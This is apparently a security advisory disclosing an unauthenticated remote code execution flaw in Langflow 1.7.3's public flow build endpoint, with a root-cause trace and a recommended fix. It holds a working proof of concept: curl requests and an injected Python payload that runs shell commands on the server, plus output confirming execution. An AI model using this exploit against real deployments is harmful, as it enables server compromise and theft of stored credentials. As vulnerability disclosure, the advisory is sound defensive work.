GHSA-vwmf-pq79-vjvx

Summary

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED
    request: Request,
    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,  # Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

1. start_flow_build(data=attacker_data) → generate_flow_events() -- build.py:81
2. create_graph() → build_graph_from_data(payload=data.model_dump()) -- build.py:298
3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
4. add_nodes_and_edges() → initialize() → _build_graph() -- base.py:270,527
5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
6. vertex.instantiate_component() → instantiate_class(vertex) -- loading.py:28
7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
8. eval_custom_component_code(code) → create_class(code, class_name) -- eval.py:9
9. prepare_global_scope(module) -- validate.py:323
10. exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepareglobalscope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

def prepare_global_scope(module):
    exec_globals = globals().copy()

    # Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)  # line 352
        exec_globals[variable_name] = module_obj

    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
3. No authentication required -- only a client_id cookie (any arbitrary string value)

When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker: 1. GET /api/v1/auto_login → obtain superuser token 2. POST /api/v1/flows/ → create a public flow 3. Exploit via build_public_tmp without any auth

Proof of Concept

Tested Against

• Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
• Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)

# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

Step 2: Exploit -- Unauthenticated RCE

# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Step 3: Verify Code Execution

# Wait 2 seconds for async graph building
sleep 2

# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version:  Langflow 1.7.3

RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-f0d19b36
    hostname: kali
    uid: 1000
    whoami: aviral
    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
    uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-6037a271

RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-4a796556

FINAL RESULTS
  Total checks:   15
  VULNERABLE:     15
  SAFE:           0
  RCE confirmed:  3/3 runs
  Reproducible:   YES (100%)

Impact

• Unauthenticated Remote Code Execution with full server process privileges
• Complete server compromise: arbitrary file read/write, command execution
• Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
• Reverse shell access for persistent access
• Lateral movement within the network
• Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

| Aspect | CVE-2025-3248 | This Vulnerability | |--------|--------------|-------------------| | Endpoint | /api/v1/validate/code | /api/v1/build_public_tmp/{id}/flow | | Fix applied | Added Depends(get_current_active_user) | None -- NEW vulnerability | | Root cause | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via data param | | Code execution via | validate_code() → exec() | create_class() → prepare_global_scope() → exec() | | CISA KEV | Yes (actively exploited) | N/A (new finding) | | Can simple auth fix? | Yes (and it was fixed) | No -- endpoint is designed to be unauthenticated; the data parameter must be removed |

Recommended Fix

Immediate (Short-term)

Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
    # REMOVED: data parameter -- public flows must use stored data only
    ...
):

In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:

async def create_graph(fresh_session, flow_id_str, flow_name):
    # For public flows, ALWAYS load from database, never from user data
    return await build_graph_from_db(
        flow_id=flow_id,
        session=fresh_session,
        ...
    )